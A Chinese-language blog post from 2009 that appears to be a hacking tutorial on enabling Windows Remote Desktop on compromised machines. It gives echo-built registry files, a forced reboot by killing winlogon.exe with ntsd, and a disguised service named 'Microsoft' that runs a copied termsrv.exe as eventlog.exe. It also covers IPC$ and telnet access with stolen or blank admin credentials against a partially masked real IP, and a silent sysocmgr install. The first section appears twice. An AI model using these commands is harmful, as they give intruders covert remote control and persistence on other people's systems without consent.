Chinaunix首页 | 论坛 | 博客
  • 博客访问: 3029951
  • 博文数量: 59
  • 博客积分: 10085
  • 博客等级: 上将
  • 技术积分: 4852
  • 用 户 组: 普通用户
  • 注册时间: 2005-11-29 19:51
文章分类

全部博文(59)

文章存档

2012年(1)

2011年(20)

2010年(9)

2009年(20)

2008年(9)

我的朋友

分类: 系统运维

2009-06-02 09:08:19

今天介绍的这种开终端的方法,绿色,环保,无污染~~
不须上传任何文件开启终端的方法适合win2k,xp,2003.
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
在无须传任何文件的情况下开启终端服务。
一、win 2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:

echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS.DEFAULTKeyboard LayoutToggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了
命令执行格式为ntsd -c q -p PID
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID:

wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:.rootcimv2:win32_process").instances_ 
wscript.echo ps.handle&vbtab&ps.name
next
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in getobject("winmgmts:.rootcimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe

生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。
运行1.vbe得到如下运行结果:

C:WINNTsystem32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

PID ProcessName
0 System Idle Process
8 System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe

从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马

上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~

二、winxp和win2003终端开启

开启的REG文件代码如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]
"PortNumber"=dword:00000D3D
用以下ECHO代码写一个REG文件:
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
这样xp和2003开启终端是不用重启的如果你想改端口只需把上面的两个PortNumber对应的D3D改成相应十进制数的十六进制形式就可以了!用计算器转换吧。XP下不论开终端还是改终端端口都不需重启,真是太妙了~~呵呵。如果要关闭终闭只需把"fDenyTSConnections"=dword:00000000

改成"fDenyTSConnections"=dword:00000001

今天介绍的这种开终端的方法,绿色,环保,无污染~~
不须上传任何文件开启终端的方法适合win2k,xp,2003.
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~
在无须传任何文件的情况下开启终端服务。
一、win 2k下终端开启终端
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:

echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionnetcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS.DEFAULTKeyboard LayoutToggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。
一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~)
winlogon.exe被关闭后机器立刻强制重启了
命令执行格式为ntsd -c q -p PID
那如何知道winlogon.exe的PID进程号呢~
以下这个脚本可以列举当前所有进程的PID:

wscript.echo "PID ProcessName"
for each ps in getobject("winmgmts:.rootcimv2:win32_process").instances_ 
wscript.echo ps.handle&vbtab&ps.name
next
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:
echo wscript.echo "PID ProcessName">>1.vbe
echo for each ps in getobject("winmgmts:.rootcimv2:win32_process").instances_ >>1.vbe
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe
echo next>>1.vbe

生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。
运行1.vbe得到如下运行结果:

C:WINNTsystem32>cscript 1.vbe
cscript 1.vbe
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.

PID ProcessName
0 System Idle Process
8 System
152 smss.exe
180 csrss.exe
200 winlogon.exe
228 services.exe
240 lsass.exe
424 svchost.exe
472 spoolsv.exe
512 msdtc.exe
616 svchost.exe
628 KAVSvc.EXE
660 llssrv.exe
692 nvsvc32.exe
728 regsvc.exe
748 MSTask.exe
776 alter.exe
900 svchost.exe
916 WinMgmt.exe
1088 Dfssvc.exe
484 Explorer.EXE
1444 mdm.exe
1340 Server.exe
1224 ibguard.exe
1252 KAVSvcUI.EXE
1256 ibserver.exe
1336 internat.exe
1204 Uspds.exe
720 bar.exe
1288 dllhost.exe
1580 inetinfo.exe
1672 cmd.exe
1464 pppoe.exe
1704 regedit.exe
316 cscript.exe

从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马

上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~

二、winxp和win2003终端开启

开启的REG文件代码如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]
"PortNumber"=dword:00000D3D
用以下ECHO代码写一个REG文件:
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
这样xp和2003开启终端是不用重启的如果你想改端口只需把上面的两个PortNumber对应的D3D改成相应十进制数的十六进制形式就可以了!用计算器转换吧。XP下不论开终端还是改终端端口都不需重启,真是太妙了~~呵呵。如果要关闭终闭只需把"fDenyTSConnections"=dword:00000000

改成"fDenyTSConnections"=dword:00000001
_________________________________________________________________________________________________

 

另外一个:

首先我们制作开启3389的工具
先把下面的注册表内容copy一份,另存为3389.reg注册表文件
注册表内容:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
"ObjectName"="LocalSystem"
"Type"=dword:00000010
"Description"="Microsoft"
"DisplayName"="Microsoft"
再把下面的内容保存为批处理文件3389.bat
安装批处理内容:
copy termsrv.exe eventlog.exe
regedit.exe /s 3389.reg
del 3389.reg
del 3389.exe
del 3389.bat
用winrar制作成exe自解压缩包

61.188.***.*** user:administrato pass:空
先使用工具letmein判断其操作系统
letmein \\ip -all -d
TsInternetUser (TsInternetUser)这个是2000的终端用户,现在可以判断其为2000server了
再使用终端登陆软件看看他的3389是不是已经开启了免了费事折腾
应该没有开启
建立ipc连接
copy工具过去
net use \\ip\ipc$ "pass" /user:name
copy file \\ip\admin$\system32
用opentelnet开对方的telnet
opentelnet \\ip name pass 1 99
用telnet进入
进入到对方的winnt\system32\
目录
解压缩3389.exe
运行安装批处理3389.bat
现在我们把对方重起一下,用reboot
我们用ping命令监视他的上线情况,等他下线,呵呵下了,又上来了,不慌连,3389等会才能好,对方的机器有点慢
看见了么,开启成功!

现在开始.

假设我们拿到了一个主机的管理员帐户和密码.
主机: 192.168.0.1
帐号: administrator
密码: 7788
2000系统安装在c:\winnt下

从上面的的介绍可以知道,2000专业版是不可以远程安装终端服务的,那我们就要首先来
判断此主机是专业版还是服务器版,才能进入下一个环节.

我们可以先用对方所开帐户判断:

c:\>letmein \\192.168.0.1 -all -d
stating connecting to server ...
Server local time is: 2002-1-13 10:19:22
Start get all users form server...
--------------------------
Total = 5
--------------------------
num0= Administrator ()
num1= Guest ()
num2= IUSR_servername (Internet 来宾帐号 )
num3= IWAM_servername (启动 IIS 进程帐号)
num4= TsInternetUser (TsInternetUser)
--------------------------
Total = 5
--------------------------

一般情况num2/3/4这三个帐户都是2000server默认开启的.
2000专业版默认是不开这些帐户的.

我们也可以扫描对方开放的端口进一步确认:
用扫描软件如:superscan3.exe扫描对方所开端口
判断对方是否开启25,3372等2000server默认开启的端口.

当然我们还可以使用一些工具,如:cmdinfo.zip
这2个东东可以获得本地或远程NT/2K主机的版本,系统路径,源盘路径,PACK版本,安装时间等一
系列信息,一个图形界面,一个命令行.
通过返回的信息就可以很清楚的了解对方主机情况.

还有一些其他的方法来判断,如:从对方所开的服务来确定等,
从上面的判断准确率还算高,别的就不一一说明了.

如果你在以上步骤里发现对方主机并没有那3个帐户,默认端口也没开,
或cmdinfo返回的信息对方是2000专业版,你就要放弃安装3389的计划了.

现在我们要进入下一环节:
判断终端服务到底有没有安装?

你也许要问:为什么还要判断啊?我扫描没有发现3389端口啊?
这里就需要解释一下,如果装了终端服务组件,可能有哪几种情况扫描不到3389端口?
1.终端服务termservice在"管理工具">>>"服务"中被禁用.
2.终端服务连接所需的RDP协议在"管理工具">>>"终端服务配置"中被停用连接.
3.终端服务默认连接端口3389被人为的改变.如何改变请看修改终端服务默认的3389端口(图文)
4.终端服务绑定的网络适配器不是外网的.
5.防火墙和端口过滤之类的问题.
6.....(还有我没想到的)
其实,我们遇到最多的情况就是以上5种情况.

现在开始判组件是否被安装.

先与远程主机连接,映射远程主机C盘为本地Z盘
net use z: \\192.168.0.1\c$ "7788" /user:"administrator"
命令成功完成。

然后转到Z盘,检查
Z:\Documents and Settings\All Users\「开始」菜单\程序\管理工具>
里是否有 "终端服务管理器"和"终端服务配置"的快捷方式文件
如有已安装服务组件的会有,反之,没有(98% 人为故意删的可能性较小)
我们还可以在下一步telnet到对方主机后使用终端服务自带的命令进一步的核实.

判断完毕,对方好像是没有安装终端服务组件,可以进入下一步:
telnet登陆对方主机,准备安装服务组件.

在这里,我强烈建议使用2000自带的telnet服务端登陆,
有回显,不容易出错.个人感觉使用它,一次成功的比例高很多.(呵呵~,个人理解啊!)
就算没有开,打开用完后再关掉就完了.
.abu.写的最快速登录WIN2K TELNET 服务已经把这个方法介绍的非常详细,
而且他的办法(在本机建立同名,同密码帐户),让快速实现telnet登陆成为现实.

假如我们已开启对方23端口,
telnet 192.168.0.1
输入用户名/密码
*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>
\\成功进入!!!!

进入后,再次检查终端组件是否安装:
c:\>query user
这个工具需要安装终端服务.

这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装.

好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\>dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录

2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\> dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录

2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\>echo [Components] > c:\wawa
c:\>echo TSEnable = on >> c:\wawa
//这是建立无人参与的安装参数
c:\>type c:\wawa
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\wawa /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起.

如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了.

问题和建议:

A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒.

B 一次不行可以再试一次,在实际中很有作用.

C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错,所以会有B的建议.

阅读(1851) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~